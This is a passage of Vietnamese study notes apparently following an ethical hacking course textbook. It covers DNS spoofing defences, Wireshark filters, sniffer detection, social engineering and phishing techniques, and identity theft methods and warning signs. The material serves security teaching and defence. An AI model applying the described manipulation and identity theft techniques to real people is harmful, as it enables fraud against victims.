- Đổi cổng ngẫu nhiên (random source port) trên DNS resolver cho mỗi truy vấn ra ngoài.
- Giới hạn dịch vụ đệ quy DNS (DNS recusing service) cho người dùng được ủy quyền.
- Sử dụng giới hạn tần suất yêu cầu đối với các tên miền không tồn tại (NXDOMAIN rate limiting).
- Bảo mật các máy tính nội bộ.
- Sử dụng các bảng ARP và IP tĩnh.
- Sử dụng mã hóa Secure Shell (SSH).
- Không cho phép lưu lượng đầu ra dùng UDP port 53 làm cổng nguồn mặc định.
- Kiểm toán máy chủ DNS thường xuyên để loại bỏ lỗ hổng.
- Ngẫu nhiên hóa IP đích, IP nguồn và cả ID truy vấn (Query IDs).
- Ngẫu nhiên hóa chữ hoa/chữ thường trong tên truy vấn.
- Sử dụng Public Key Infrastructure (PKI) để bảo vệ server.
- Giới hạn chuyển vùng (DNS zone transfers) chỉ với các IP được ủy quyền.
- Sử dụng DNS-over-HTTPS (DoH) hoặc DNS-over-TLS (DoT).
- Sử dụng các công cụ phát hiện sniffing.
- Không mở các tệp tin đáng ngờ.

- Luôn sử dụng các trang web proxy đáng tin cậy.
- Nếu tổ chức tự xử lý resolver riêng, nó cần được giữ riêng tư và bảo vệ tốt.
- Sử dụng mã hóa 0x20 (0x20 encoding) và DNS cookies như một lớp bảo mật bổ sung cho thông điệp DNS.
- Giảm thời gian chờ (timeout period) đối với các truy vấn chưa hoàn thành để ngăn chặn tấn công SAD DNS.
- Cập nhật máy chủ DNS với các bản vá mới nhất để ngăn ngừa vi phạm.
- Sử dụng khóa RNDC (Remote Name Daemon Control) nếu các phản hồi được thực hiện trên cổng 53.
- Đảm bảo rằng quá trình phân giải tệp "Hosts" bị vô hiệu hóa trên cả máy khách và máy chủ.
- Cấu hình STUB zones cho các tên miền được truy cập thường xuyên.
- Triển khai các chính sách mật khẩu mạnh mẽ cho người dùng quản lý các bản ghi DNS.
- Cấu hình ACLs (Access Control Lists) trên máy chủ DNS để chỉ cho phép các truy vấn từ các nguồn đáng tin cậy.
- Triển khai giải pháp tường lửa DNS (DNS firewall) hoặc đăng ký dịch vụ DNS bảo vệ để lọc lưu lượng.

14. Công cụ sniffing / DNS sniffing [Trang 1357 - 1364]

- **Wireshark** [Trang 1357]: Chụp gói tin tương tác trên mạng, thường dùng cùng trình điều khiển WinPcap. Hỗ trợ tính năng "Follow TCP Stream" giúp kẻ tấn công xem trực tiếp mật khẩu dưới dạng văn bản thuần túy (cleartext).
  - **Chi tiết cách thực hiện Follow TCP Stream:** Để xem luồng TCP, chọn một gói TCP trong danh sách gói tin, sau đó vào menu **Analyze -> Follow -> TCP Stream**. Công cụ sẽ hiển thị nội dung luồng theo đúng trình tự xuất hiện trên mạng và có thể hiển thị dữ liệu bắt được dưới dạng ASCII, EBCDIC, hex dump, C array hoặc raw.

Bảng Bộ lọc trong Wireshark (Display Filters) [Trang 1360-1361]:

Giám sát / Lọc	Bộ lọc / Ví dụ lọc
Giám sát cổng (ví dụ port 23) và IP máy	`tcp.port == 23` `ip.addr == 192.168.1.100` `ip.addr == 192.168.1.100 && tcp.port == 23`
Lọc theo nhiều địa chỉ	`ip.addr == 10.0.0.4 or ip.addr == 10.0.0.5`
Lọc theo địa chỉ IP	`ip.addr == 10.0.0.4`
Bộ lọc khác (với kích thước frame)	`ip.dst == 10.0.1.50 && frame.pkt_len > 400`
Hiển thị tất cả TCP reset	`tcp.flags.reset == 1`
Đặt bộ lọc cho giá trị hex	`udp contains 33:27:58`
Hiển thị tất cả HTTP GET requests	`http.request`
Hiển thị tất cả retransmissions trong trace	`tcp.analysis.retransmission`
Hiển thị tất cả TCP packets chứa từ khóa traffic	`tcp contains "traffic"`
Loại trừ ARP, ICMP, DNS hoặc các giao thức khác	`!(arp or icmp or dns)`
Lọc mọi gói TCP có nguồn hoặc đích là cổng 4000	`tcp.port == 4000`
Hiển thị SMTP (port 25) và ICMP	`tcp.port eq 25 or icmp`
Hiển thị traffic LAN giữa workstation và server	`ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16`
Lọc theo giao thức (ví dụ: SIP) và loại bỏ các địa chỉ IP không mong muốn	`ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip`

Ghi chú: Các lệnh lọc đã được chuẩn hóa lại đúng như giáo trình (ví dụ lệnh lọc độ dài frame là `frame.pkt_len > 400`, lệnh lọc hex là `udp contains <hex>`).

Công cụ sniffing phổ biến khác [Trang 1362-1364]:

- **Capsa Portable Network Analyzer**: Phân tích, chẩn đoán, chụp và giám sát lưu lượng dễ sử dụng.
- **Omnipeek**: Có khả năng hiển thị bản đồ Google Map (Google Maps plug-in) để xác định vị trí thực tế của tất cả các IP công cộng từ các gói bị bắt.
- *(Bổ sung)* Các công cụ khác: RITA, Observer Analyzer, PRTG Network Monitor, Network Performance Monitor, Xplico.

15. Biện pháp chống sniffing (Defend Against Sniffing) [Trang 1366 - 1368]

Danh sách các biện pháp phòng ngừa Sniffing chi tiết (Defend Against Sniffing) [Trang 1366 - 1368]:

- Giới hạn quyền truy cập vật lý vào hạ tầng mạng để kẻ tấn công không thể cắm thiết bị nghe lén.
- Sử dụng mã hóa đầu-cuối (end-to-end encryption) để bảo vệ thông tin mật.
- Thêm vĩnh viễn MAC của gateway vào bộ đệm ARP cache.
- Sử dụng IP và bảng ARP tĩnh để ngăn chặn thêm các ARP spoofed entries.
- Tắt phát sóng định danh mạng (network identification broadcasts) và hạn chế mạng với user được phép.
- Sử dụng IPv6 thay vì IPv4 (vì IPsec là bắt buộc ở IPv6).
- Sử dụng SSH thay vì Telnet, SCP thay vì FTP, và SSL cho email.
- Sử dụng HTTPS thay vì HTTP, SFTP thay vì FTP.
- Sử dụng Switch thay vì Hub.
- Sử dụng PGP, S/MIME, VPN, IPSec, SSL/TLS, SSH và mật khẩu dùng 1 lần (OTPs).
- Sử dụng POP2/POP3 an toàn; dùng SNMPv3 (thay vì v1/v2) để quản lý thiết bị.
- Mã hóa mạnh luồng Wi-Fi bằng WPA2 hoặc WPA3.
- Lấy MAC trực tiếp từ NIC thay vì qua hệ điều hành (chống MAC spoofing).
- Sử dụng các công cụ để phát hiện xem có NIC nào đang chạy ở promiscuous mode không.
- Sử dụng ACLs để chỉ cấp phép truy cập cho các dải IP tin cậy.
- Đổi mật khẩu mặc định thành mật khẩu phức tạp.
- Tránh phát sóng SSIDs của mạng Wi-Fi và tránh truy cập Wi-Fi mở/không bảo mật.
- Triển khai lọc MAC trên Router.
- Sử dụng VLANs để chia nhỏ mạng, giới hạn không gian hoạt động của sniffer.
- Sử dụng VPN để tạo hầm an toàn cho việc truyền dữ liệu.
- Giám sát bất thường mạng qua IDS/IPS và thường xuyên audit log lưu lượng.

16. Cách phát hiện Sniffing (How to Detect Sniffing) [Trang 1369]

Để phát hiện các hoạt động nghe lén trên mạng, có thể sử dụng 3 hướng tiếp cận chính:

- **Chạy Hệ thống phát hiện xâm nhập (Run IDS):** Quản trị viên chạy IDS để xem địa chỉ MAC của bất kỳ máy nào có bị thay đổi không (Ví dụ: địa chỉ MAC của router). IDS có thể cảnh báo quản trị viên về các hoạt động đáng ngờ, chẳng hạn như sniffing hoặc MAC spoofing.
- **Kiểm tra các thiết bị đang chạy ở chế độ Promiscuous (Check the Devices Running in Promiscuous Mode):** Chế độ promiscuous cho phép thiết bị mạng chặn và đọc toàn bộ một gói tin mạng khi nó đến. Cần phải kiểm tra xem máy nào đang chạy ở chế độ này, vì chế độ này cho phép mọi gói tin đi qua mà không cần xác thực địa chỉ đích.
- **Chạy các công cụ mạng (Run Network Tools):** Chạy các công cụ mạng như Capsa Portable Network Analyzer để giám sát mạng nhằm phát hiện các gói tin lạ (ví dụ: gói tin chứa địa chỉ bị giả mạo). Các công cụ này cho phép thu thập, tổng hợp, tập trung và phân tích dữ liệu lưu lượng truy cập qua nhiều công nghệ và tài nguyên mạng khác nhau.

Các phương pháp kỹ thuật phát hiện cụ thể (Sniffer Detection Techniques)

- **Ping Method (Phương pháp Ping)** [Trang 1370 - 1371]:
  - Để phát hiện, người ta gửi một yêu cầu ping đến máy tính bị nghi ngờ với đúng địa chỉ IP của nó nhưng kèm theo một địa chỉ MAC không chính xác (incorrect MAC address).
  - Adapter Ethernet thông thường sẽ từ chối gói tin này vì địa chỉ MAC không khớp.
  - Tuy nhiên, nếu máy nghi ngờ đang chạy sniffer ở chế độ promiscuous, nó sẽ phản hồi lại gói tin ping đó vì nó không từ chối các gói tin mang địa chỉ MAC khác. Việc nhận được phản hồi này sẽ giúp định danh chính xác sniffer trên mạng.
- **DNS Method (Phương pháp DNS)** [Trang 1370 - 1371]:
  - Hầu hết các sniffer đều tự động thực hiện tra cứu DNS ngược (reverse DNS lookups) để xác định tên máy tính dựa trên địa chỉ IP mà nó bắt được.
  - Quá trình tra cứu ngược này làm gia tăng lưu lượng mạng. Do đó, một máy tính tạo ra lưu lượng tra cứu reverse DNS thì rất có khả năng máy đó đang chạy một sniffer.
  - Cách thực hiện cục bộ: Cấu hình máy dò tìm ở chế độ promiscuous, sau đó gửi một yêu cầu ICMP tới một địa chỉ IP không tồn tại (non-existing IP address) và theo dõi phản hồi. Nếu hệ thống nhận được phản hồi, bạn có thể xác định được máy nào đang trả lời các truy vấn reverse DNS trên mạng cục bộ.
- **ARP Method (Phương pháp ARP)** [Trang 1370, 1372]:
  - Kỹ thuật này gửi một gói ARP non-broadcast (không quảng bá) đến tất cả các nút trong mạng.
  - Chỉ có nút nào đang chạy ở chế độ promiscuous mới lưu (cache) địa chỉ ARP cục bộ này.
  - Sau đó, phát một thông báo ping quảng bá (broadcast) trên mạng với IP cục bộ nhưng mang một địa chỉ MAC khác. Lúc này, chỉ có nút đã lưu MAC address từ trước (máy đang chạy promiscuous) mới có khả năng phản hồi yêu cầu ping đó.
  - Các máy tính khác còn lại trên mạng sẽ gửi một đầu dò ARP (ARP probe) để cố gắng xác định nguồn gốc của yêu cầu ping, từ đó giúp phát hiện ra nút nào đang chạy sniffer.

Công cụ phát hiện Promiscuous Mode (Promiscuous Detection Tools) [Trang 1373 - 1375]

- **Nmap** [Trang 1373]:
  - Sử dụng kịch bản NSE của Nmap để kiểm tra xem một hệ thống trên mạng Ethernet cục bộ có đặt card mạng ở chế độ promiscuous hay không.

  - Cú pháp lệnh: `nmap --script=sniffer-detect [Target IP Address/Range of IP addresses]`.

- **NetScanTools Pro** [Trang 1373 - 1375]:
  - Phần mềm này bao gồm công cụ Promiscuous Mode Scanner dùng để quét mạng con (subnet) nhằm tìm kiếm các giao diện mạng đang lắng nghe mọi gói tin Ethernet ở chế độ promiscuous.
  - Các chuyên gia bảo mật sử dụng NetScanTools Pro để quét subnet bằng các gói ARP đã được sửa đổi, từ đó xác định thiết bị nào đang phản hồi lại với từng loại gói ARP. Tích hợp hiển thị rõ phân tích thiết bị nào ở trạng thái “Promiscuous Mode” hoặc “Maybe” (Có thể).

1. Các khái niệm Kỹ thuật xã hội (Social Engineering Concepts)

Các khía cạnh cơ bản của Social Engineering [Trang 1380 - 1386]:

- **Mục tiêu phổ biến (Common Targets):** Lễ tân và nhân viên Help-desk (Dễ bị lừa do tính chất công việc luôn sẵn sàng hỗ trợ), Nhân viên hỗ trợ kỹ thuật (Technical Support Executives), Quản trị viên hệ thống (System Administrators), Người dùng và Khách hàng (Users and Clients), Đối tác/Nhà cung cấp (Vendors), Nhân sự cấp cao (Senior Executives).
- **Tác động đối với Tổ chức (Impact on an Organization):** Thiệt hại kinh tế (Economic Losses), Tổn hại uy tín (Damage to Goodwill), Mất quyền riêng tư (Loss of Privacy), Nguy cơ khủng bố (Dangers of Terrorism), Kiện tụng và Trọng tài (Lawsuits and Arbitration), Bị buộc đóng cửa tạm thời hoặc vĩnh viễn (Temporary or Permanent Closure).
- **Các hành vi/Tâm lý dễ bị lợi dụng (Behaviors Vulnerable to Attacks):**
  - **Thẩm quyền (Authority):** Kẻ tấn công giả danh người có thẩm quyền (Giám đốc, Quản trị mạng).
  - **Sự dọa dẫm (Intimidation):** Bắt nạt, dọa nạt để ép buộc nạn nhân làm theo ý muốn.
  - **Sự đồng thuận (Consensus/Social Proof):** Lợi dụng tâm lý đám đông (VD: tạo web giả mạo nhiều lời khen ngợi ảo).
  - **Sự khan hiếm (Scarcity):** Tạo cảm giác khan hiếm để thao túng quyết định mua hàng/nhấp link.
  - **Sự khẩn cấp (Urgency):** Thúc giục hành động ngay lập tức (Rất phổ biến trong mã độc tống tiền Ransomware).
  - **Sự quen thuộc/Yêu thích (Familiarity/Liking):** Thuyết phục thông qua việc giả dạng người quen.
  - **Niềm tin (Trust):** Cố ý xây dựng mối quan hệ tin cậy chuyên gia - khách hàng rồi lợi dụng.
  - **Lòng tham (Greed):** Hứa hẹn phần thưởng/quà tặng không làm mà có.
- **Yếu tố làm doanh nghiệp dễ bị tấn công:** Thiếu đào tạo bảo mật, Truy cập thông tin không được kiểm soát chặt chẽ, Nhiều chi nhánh phân tán, Thiếu chính sách bảo mật.
  - **Tại sao Kỹ thuật xã hội lại hiệu quả? (Why is Social Engineering Effective?)** [Trang 1386]
    - Bất chấp các chính sách bảo mật, việc ngăn chặn kỹ thuật xã hội là một thách thức vì con người là yếu tố dễ bị biến đổi và tác động nhất.
    - Rất khó để phát hiện các nỗ lực kỹ thuật xã hội vì đây là nghệ thuật và khoa học thao túng con người.
    - Không có phương pháp nào đảm bảo an toàn tuyệt đối 100% trước các cuộc tấn công này.
    - Không có phần cứng hay phần mềm cụ thể nào có sẵn để bảo vệ hoàn toàn khỏi kỹ thuật xã hội.
    - Cách tiếp cận này đối với hacker là tương đối rẻ (hoặc miễn phí) và rất dễ thực hiện.
- **Các giai đoạn của một cuộc tấn công Social Engineering:**
  1. Nghiên cứu mục tiêu (Research the Target Company).
  2. Chọn nạn nhân (Select a Target - thường nhắm vào nhân viên bất mãn).
  3. Thiết lập mối quan hệ (Develop a Relationship).
  4. Khai thác (Exploit the Relationship).

Các kỹ thuật xã hội dựa trên con người (Human-based Social Engineering) [Trang 1389 - 1400]:

- **Impersonation (Mạo danh):** Kẻ tấn công đóng giả làm người hợp pháp hoặc người có thẩm quyền. Các hình thức phổ biến:
  - Đóng giả người dùng cuối hợp pháp (Legitimate end-user).
  - Đóng giả nhân vật quan trọng (Important user/VIP).
  - Đóng giả nhân viên hỗ trợ kỹ thuật (Technical support agent).
  - Đóng giả nhân viên nội bộ, khách hàng hoặc đối tác (Internal employee, client, vendor).
  - Đóng giả thợ sửa chữa (Repairman).
  - Đóng giả nhân vật có thẩm quyền đáng tin cậy (Trusted Authority Figure).
  - **Vishing (Voice/VoIP phishing):** Kẻ tấn công gọi điện thoại/VoIP, lạm dụng sự nhiệt tình của Help-desk hoặc giả danh sự cho phép của bên thứ ba (Third-party authorization) để lừa lấy thông tin.

- **Eavesdropping (Nghe lén):** Lắng nghe trái phép các cuộc hội thoại hoặc đọc tin nhắn (âm thanh, video, văn bản).
- **Shoulder Surfing (Nhìn trộm qua vai):** Kỹ thuật quan sát nạn nhân nhập thông tin (mật khẩu, mã PIN) từ phía sau, có thể dùng ống nhòm hoặc camera nhỏ.
- **Dumpster Diving (Bới thùng rác):** Quá trình tìm kiếm thông tin nhạy cảm bị vứt bỏ trong thùng rác tổ chức. Các thông tin kẻ tấn công có thể thu thập bao gồm:
  - Danh bạ điện thoại (Phone lists).
  - Sơ đồ tổ chức (Organizational charts).
  - Bản in email, ghi chú, fax, và bản ghi nhớ (Email printouts, notes, faxes, memos).
  - Sổ tay chính sách (Policy manuals).
  - Ghi chú sự kiện, lịch, hoặc nhật ký sử dụng máy tính (Event notes, calendars, computer use logs) giúp kẻ tấn công quyết định thời điểm tấn công tốt nhất.
- **Reverse Social Engineering (Kỹ thuật đảo ngược):** Kẻ tấn công đóng vai một chuyên gia hiểu biết để nhân viên tự tìm đến nhờ thông tin. Gồm 3 bước:
  - Sabotage (Phá hoại): Kẻ tấn công giành quyền truy cập, làm hỏng máy trạm hoặc làm cho nó có vẻ như bị hỏng để người dùng phải tìm kiếm sự trợ giúp.
  - Marketing (Tiếp thị): Kẻ tấn công quảng cáo bản thân (ví dụ: để lại danh thiếp hoặc cố tình chèn số điện thoại liên hệ của chúng vào chính thông báo lỗi của máy tính).
  - Support (Hỗ trợ): Kẻ tấn công giả vờ hỗ trợ khắc phục sự cố, qua đó lấy được thông tin mong muốn.
- **Piggybacking (Cõng):** Đi theo người có thẩm quyền vào khu vực bảo mật bằng cách xin đi nhờ (VD: "Tôi quên thẻ, xin mở cửa giúp").
- **Tailgating (Bám đuôi):** Theo sát người có thẩm quyền để lọt qua cửa bảo mật mà không cần sự đồng ý của họ (thường đeo thẻ giả).
- **Diversion Theft (Lừa chuyển hướng giao hàng):** Đánh lừa người giao hàng/tài xế đưa bưu kiện hoặc thông tin đến sai địa điểm.
- **Honey Trap (Bẫy tình):** Giả vờ là một người hấp dẫn trên mạng để thiết lập mối quan hệ tình cảm nhằm lấy thông tin mật.
- **Baiting (Mồi nhử):** Để lại thiết bị lưu trữ vật lý (như USB chứa mã độc) ở nơi dễ thấy (bãi xe, thang máy). Nạn nhân cắm USB vào máy sẽ bị nhiễm mã độc.
- **Quid Pro Quo:** Gọi điện ngẫu nhiên giả làm hỗ trợ kỹ thuật, đề nghị khắc phục sự cố để đổi lấy thông tin đăng nhập.
- **Elicitation (Gợi mở):** Khéo léo thu thập thông tin thông qua các cuộc trò chuyện bình thường và mất cảnh giác.
- **Bait and Switching (Mồi và Tráo):** Đưa ra ưu đãi hấp dẫn qua link/file, khi nạn nhân nhấp vào sẽ bị điều hướng sang việc cài đặt mã độc.
- **Kỹ thuật xã hội trên máy tính (Computer-based social engineering)** [Trang 1388, 1401]: Dựa trên máy tính và hệ thống Internet để thực hiện các cuộc tấn công thay vì tương tác vật lý. Các kỹ thuật điển hình bao gồm: Phishing, Spam email, tấn công qua cửa sổ Pop-up, Scareware, sử dụng video Deepfake và nhân bản giọng nói (Voice Cloning).
- **Spear Phishing:** Tấn công lừa đảo nhắm mục tiêu vào các cá nhân hoặc một nhóm nhỏ cụ thể trong một tổ chức. Sử dụng nội dung được cá nhân hóa cao để lừa nạn nhân tiết lộ dữ liệu nhạy cảm. [Trang 1406 - 1407]

- **Whaling:** Một dạng phishing "săn cá voi" nhắm vào các nhân vật quản lý cấp cao (CEO, CFO, chính trị gia) - những người có quyền truy cập vào thông tin cực kỳ giá trị của tổ chức. [Trang 1406 - 1407]
- **Pharming (Phishing without a Lure):** Kẻ tấn công tự động chuyển hướng lưu lượng truy cập của nạn nhân từ một trang web hợp pháp sang trang web giả mạo do kẻ tấn công kiểm soát. Được thực hiện thông qua 2 cách: [Trang 1406 - 1407]
  - **DNS Cache Poisoning** (Đầu độc bộ nhớ cache DNS).
  - **Host File Modification** (Sửa đổi tệp host cục bộ trên máy nạn nhân).
- **Spimming (SPIM - Spam over Instant Messaging)** [Trang 1406, 1408]: Lợi dụng các nền tảng nhắn tin tức thời. Kẻ tấn công (Spimmer) dùng các mạng bot tự động để thu thập ID tin nhắn và phát tán hàng loạt tin nhắn rác chứa quảng cáo hoặc siêu liên kết độc hại nhằm thu thập chi tiết thẻ tín dụng.
- **Clone phishing (Lừa đảo nhân bản)** [Trang 1406, 1408]: Kẻ tấn công tạo ra một bản sao (clone) gần như giống hệt một giao tiếp/email hợp pháp mà nạn nhân đã nhận trước đó. Sau đó, chúng thay thế liên kết hoặc tệp đính kèm bên trong bằng các nội dung chứa mã độc.
- **Lừa đảo ví điện tử (E-wallet phishing)** [Trang 1406, 1408]: Nhắm vào người dùng ví điện tử. Kẻ tấn công gửi email/tin nhắn giả mạo nhà cung cấp ví hợp pháp, dụ nạn nhân nhấp vào liên kết đến trang web giả. Khi nạn nhân điền thông tin, kẻ tấn công chiếm đoạt thông tin đăng nhập và dữ liệu tài chính theo thời gian thực.
- **Tabnabbing và Reverse tabnabbing** [Trang 1406, 1408-1409]: Khai thác thói quen mở nhiều tab trên trình duyệt của người dùng.
  - **Tabnabbing:** Một trang web độc hại phát hiện khi người dùng chuyển sang tab khác, nó liền tự động thay đổi nội dung để ngụy trang thành một trang đăng nhập hợp pháp (như ngân hàng) chờ người dùng quay lại.
  - **Reverse tabnabbing:** Kẻ tấn công lừa trang web hợp pháp mở một liên kết độc hại trong tab mới. Liên kết này chứa mã chạy ngầm để viết đè và thay đổi nội dung của tab gốc (tab hợp pháp) thành trang lừa đảo.
- **Lừa xin quyền (Consent phishing)** [Trang 1406, 1409]: Lợi dụng giao thức xác thực OAuth (của Google, Facebook, Microsoft). Kẻ tấn công lập ra ứng dụng/trang web giả, dụ nạn nhân nhấp vào và bấm "cấp quyền" (grant permissions). Kẻ tấn công lấy được quyền truy cập email, danh bạ mà không cần biết mật khẩu.
- **Lừa qua kết quả tìm kiếm (Search engine phishing)** [Trang 1406, 1409]: Thao túng kết quả của công cụ tìm kiếm (như dùng kỹ thuật SEO, nhồi từ khóa) để đưa các trang web giả mạo lên top đầu. Khi người dùng nhấp vào kết quả thao túng, họ bị dẫn tới trang mạo danh ngân hàng hoặc chợ trực tuyến.
- **Angler phishing** [Trang 1425]: Một trò gian lận lừa đảo nhắm vào những người dùng đang bất mãn/đăng lời phàn nàn trên mạng xã hội. Kẻ tấn công tạo tài khoản giả mạo bộ phận hỗ trợ (helpdesk) của công ty và trả lời khách hàng bằng một liên kết dịch vụ giả. Nạn nhân nhấp vào sẽ bị cài mã độc hoặc mất dữ liệu.
- **Catfishing Attack** [Trang 1425]: Một trò lừa đảo tình cảm trực tuyến, kẻ tấn công đánh cắp danh tính để tạo hồ sơ giả mạo (trên Facebook, Instagram). Dấu hiệu: Tránh giao tiếp trực tiếp (không gọi video, biện lý do ốm/đi du lịch), dùng một ảnh đại diện trong thời gian rất dài, và cuối cùng thường xuyên xin tiền viện cớ khẩn cấp.
- **Impersonation on Facebook** [Trang 1426]: Mạo danh trên Facebook bằng cách tạo một nhóm giả mạo (ví dụ: "Nhân viên công ty XYZ") và mời các nhân viên thật tham gia để trích xuất thông tin lý lịch cá nhân.

Các kỹ thuật Kỹ thuật xã hội qua Máy tính khác (Other Techniques for Computer-based Social Engineering) [Trang 1418 - 1420]:

- **Pop-Up Windows (Cửa sổ bật lên):** Các cửa sổ giả mạo cảnh báo lỗi hệ điều hành hoặc yêu cầu xác thực lại, dụ người dùng nhấp vào để tải mã độc (trojans/spyware).
- **Hoax Letters (Thư lừa bịp):** Cảnh báo giả mạo về một mối đe dọa virus không có thật, khiến tổ chức hoang mang và lãng phí tài nguyên mạng.
- **Chain Letters (Thư dây chuyền):** Email hứa hẹn tặng quà, tiền hoặc dọa dẫm mang lại xui xẻo nếu người dùng không tiếp tục chuyển tiếp (forward) thư cho người khác.
- **Instant Chat Messenger (Tin nhắn tức thời):** Trò chuyện trực tuyến để moi móc thông tin cá nhân (như ngày sinh, tên thời con gái của mẹ) nhằm làm dữ liệu bẻ khóa tài khoản.
- **Spam Email (Thư rác):** Gửi hàng loạt email không mong muốn nhằm thu thập dữ liệu hoặc lừa tải tệp đính kèm độc hại (thường bị giấu phần mở rộng file).
- **Scareware:** Phần mềm độc hại dụ nạn nhân tải các phần mềm diệt virus lừa đảo bằng cách hiển thị cảnh báo giả mạo rằng máy tính của họ đang bị nhiễm virus nghiêm trọng.
- **Mối đe dọa từ Mạng xã hội đối với Doanh nghiệp (Social Networking Threats)** [Trang 1427 - 1428]: Gây đánh cắp dữ liệu (Data Theft), Rò rỉ dữ liệu vô ý do nhân viên (Involuntary Data Leakage), Tiếp tay cho tấn công có chủ đích (Targeted Attacks), Khai thác Lỗ hổng mạng (Network Vulnerability), Phát tán mã độc (Malware Propagation), Phá hoại uy tín (Business Reputation), Tốn chi phí hạ tầng (Infrastructure Costs), và Giảm năng suất lao động (Loss of Productivity).
  - **Spam và Phishing (Spam and Phishing):** Nhân viên sử dụng ID email công việc trên các mạng xã hội có thể nhận được thư rác và trở thành mục tiêu của lừa đảo, gây nguy hiểm cho mạng.
  - **Sửa đổi nội dung (Modification of Content):** Nếu thiếu các biện pháp bảo mật hợp lý, các blog, kênh, nhóm và hồ sơ có thể bị giả mạo hoặc bị hack.
  - **Trinh sát (Reconnaissance):** Kẻ tấn công thu thập thông tin về nhân viên, giám đốc và hạ tầng thông qua hồ sơ mạng xã hội để chuẩn bị cho các nỗ lực tấn công mục tiêu.
- **QR code jacking (QRL jacking)** [Trang 1441 - 1442]: Khai thác phương thức "Đăng nhập bằng mã QR" trên các ứng dụng web để chiếm đoạt phiên (hijack login sessions). Kẻ tấn công sao chép (clone) mã QR hợp pháp, nhúng vào trang lừa đảo kèm kịch bản tự động làm mới mã. Khi nạn nhân dùng điện thoại quét mã QR này, thông tin thiết bị (IMEI, Device ID) và phiên đăng nhập sẽ tự động được gửi cho kẻ tấn công để chiếm tài khoản.

Đánh cắp danh tính (Identity Theft) [Trang 1429 - 1435]: Đánh cắp danh tính là hành vi sử dụng trái phép thông tin nhận dạng cá nhân của người khác (như Tên, SSN, số thẻ tín dụng, dữ liệu sinh trắc học, v.v.) để thực hiện gian lận.

- **Các loại thông tin nhận dạng cá nhân (PII) thường bị đánh cắp:** Tên, Địa chỉ nhà và cơ quan, Số an sinh xã hội (SSN), Số điện thoại, Ngày sinh, Lịch sử y tế hoặc thông tin bảo hiểm y tế, Dữ liệu sinh trắc học, Số tài khoản ngân hàng, Thông tin thẻ tín dụng, Báo cáo tín dụng, Số bằng lái xe, Số hộ chiếu.
- **Mục đích gian lận của kẻ tấn công khi đánh cắp danh tính:**
  - Mở tài khoản thẻ tín dụng mới dưới tên người dùng mà không thanh toán hóa đơn.
  - Mở tài khoản điện thoại/mạng không dây mới hoặc tính phí vào tài khoản hiện có.
  - Sử dụng thông tin để đăng ký các dịch vụ tiện ích (điện, nước, truyền hình cáp).
  - Mở tài khoản ngân hàng để viết séc giả.
  - Nhân bản (clone) thẻ ATM/Debit để rút tiền điện tử.
  - Xin vay vốn mà nạn nhân phải chịu trách nhiệm pháp lý.
  - Lấy bằng lái xe, hộ chiếu hoặc ID chính thức có chứa dữ liệu của nạn nhân nhưng mang ảnh của kẻ tấn công.
  - Nhận các khoản phúc lợi chính phủ.
  - Mạo danh nhân viên để truy cập vật lý vào cơ sở của tổ chức mục tiêu.

  - Chiếm đoạt các hợp đồng bảo hiểm của nạn nhân.
  - Bán thông tin cá nhân của nạn nhân.
  - Đặt hàng trực tuyến qua một trạm trung chuyển (drop-site).
  - Chiếm đoạt (hijack) tài khoản email.
  - Sử dụng các dịch vụ y tế/chăm sóc sức khỏe.
  - Nộp tờ khai thuế giả mạo để lấy tiền hoàn thuế.
  - Chịu tội thay (cung cấp tên nạn nhân cho chính quyền khi bị bắt).
- **Phân loại Đánh cắp danh tính:**
  - **Child Identity Theft (Trẻ em):** Lấy SSN của trẻ vị thành niên để vay vốn hoặc mở tài khoản tín dụng do khó bị phát hiện sớm.
  - **Criminal Identity Theft (Tội phạm):** Tội phạm sử dụng danh tính của người khác để trốn tránh truy nã hoặc cáo buộc hình sự.
  - **Financial Identity Theft (Tài chính):** Dùng thông tin thẻ/tài khoản ngân hàng của nạn nhân để rút tiền, mở tài khoản mới, xin cấp thẻ tín dụng mới.
  - **Driver's License Identity Theft (Bằng lái xe):** Mạo danh để chịu phạt giao thông thay hoặc để nạn nhân bị treo bằng.
  - **Medical / Insurance Identity Theft (Y tế / Bảo hiểm):** Dùng thông tin để trục lợi bảo hiểm y tế, dẫn đến sai lệch hồ sơ y khoa nguy hiểm đến tính mạng.
  - **Tax Identity Theft (Thuế):** Lấy SSN để nộp tờ khai thuế giả và lĩnh tiền hoàn thuế của nhà nước.
  - **Identity Cloning (Nhân bản):** Sống dưới danh tính người khác để ẩn danh hoàn toàn (thường là người nhập cư trái phép).
  - **Synthetic Identity Theft (Danh tính tổng hợp):** Phức tạp nhất, kết hợp thông tin thật (như SSN) và thông tin giả (tên, ngày sinh) để tạo ra một con người hoàn toàn mới.
  - **Social Security Identity Theft (An sinh xã hội):** Kẻ tấn công đánh cắp số An sinh xã hội (SSN) để bán cho người lao động nhập cư trái phép, lừa đảo chính phủ để mở tài khoản ngân hàng, thẻ tín dụng, hoặc xin hộ chiếu mới.
- **Kỹ thuật thu thập thông tin để Đánh cắp danh tính:**
  - Trộm cắp vật lý (Theft of wallets, laptops), Tìm kiếm trên Internet, Social Engineering, Dumpster Diving & Shoulder Surfing, Phishing, Pharming, Hacking, Keyloggers.
  - **Skimming:** Dùng thiết bị lưu trữ đặc biệt (skimmers) gắn ẩn vào cây ATM/máy quẹt thẻ để quét trộm dữ liệu thẻ vật lý.
  - **Pretexting:** Mạo danh quản lý các tổ chức tài chính dùng lời nói ngọt ngào thuyết phục nạn nhân giao thông tin.
  - **Wardriving:** Lái xe đi tìm các mạng Wi-Fi không bảo mật để đánh cắp dữ liệu thiết bị kết nối vào đó.
  - **Mail Theft and Rerouting:** Trộm thư từ trong hòm thư hoặc gửi form thay đổi địa chỉ nhận thư của nạn nhân.
  - **Social Media Mining:** Đào bới thông tin trên các trang mạng cá nhân.
  - **Data Trading on Dark Web:** Mua bán dữ liệu cá nhân hàng loạt trên chợ đen mạng.
- **Dấu hiệu nhận biết (Indications):**
  - Xuất hiện các khoản phí lạ trên thẻ tín dụng mà bạn không nhận ra.
  - Không còn nhận được sao kê thẻ tín dụng, ngân hàng hoặc hóa đơn tiện ích (do thư bị chặn/chuyển hướng).
  - Nhận được cuộc gọi từ chủ nợ về một tài khoản lạ đứng tên bạn.
  - Có nhiều vi phạm giao thông đứng tên bạn dù bạn không thực hiện.
  - Bị tính phí cho các phương pháp điều trị y tế hoặc dịch vụ mà bạn chưa bao giờ nhận.
  - Có nhiều hơn một tờ khai thuế được nộp dưới tên của bạn.
